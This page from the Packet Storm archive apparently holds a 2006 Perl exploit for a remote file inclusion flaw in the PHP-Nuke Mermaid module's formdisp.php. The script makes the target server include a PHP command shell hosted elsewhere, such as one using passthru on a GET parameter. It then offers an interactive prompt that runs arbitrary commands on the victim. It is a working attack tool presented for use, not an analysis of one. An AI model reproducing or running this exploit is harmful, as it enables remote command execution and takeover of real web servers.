what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cra.pl.txt

cra.pl.txt
Posted Nov 29, 2006
Authored by Crackers_Child

PHP-Nuke Mermaid module version 1.2 remote file inclusion exploit that makes use of formdisp.php.

tags | exploit, remote, php, file inclusion
SHA-256 | 9de8b4e27c9936e6db0ca95e8a16c42edf0cee6c46e3d4ad2034345f411cadf9

cra.pl.txt

Change Mirror Download
#!/usr/bin/perl
########################################################################################################
# PHP-Nuke Mermaid Module V1.2 (formdisp.php) Remote File Include Exploit
########################################################################################################
# SiberSavascilar.CoM secuirty - Hacking
########################################################################################################
# Bug Found & coded By Crackers_Child
#########################################################################################################
# crackers_child@sibersavascilar.com
#########################################################################################################
# Kullanimi
# perl cra.pl <target> <cmd shell location> <cmd shell variable>
#
# perl cra.pl http://site.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: X_Alperen_X aND All SiberSavascilar.CoM Users !
#
# Contact: crackers_child@sibersavascilar.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'modules/Mermaid/formdisp.php?module_name='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
$finreturn = $1;
$finreturn=~ tr/[....]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n============================================================================\r\n";
print " *PHP-Nuke Mermaid Module V1.2 (formdisp.php) Remote File Include Exploit*\r\n";
print "============================================================================\r\n";
}
sub usage()
{
head();
print " Usage: perl cra.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
print " <Site> - Full path to example: http://www.site.com/ \r\n";
print " <cmd shell> - Path to cmd Shell e.g http://sibersavascilar.com/rst.txt? \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print "============================================================================\r\n";
print " By Crackers_Child \r\n";
print " crackers_child(at)sibersavascilar(dot)com \r\n";
print "============================================================================\r\n";
exit();
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close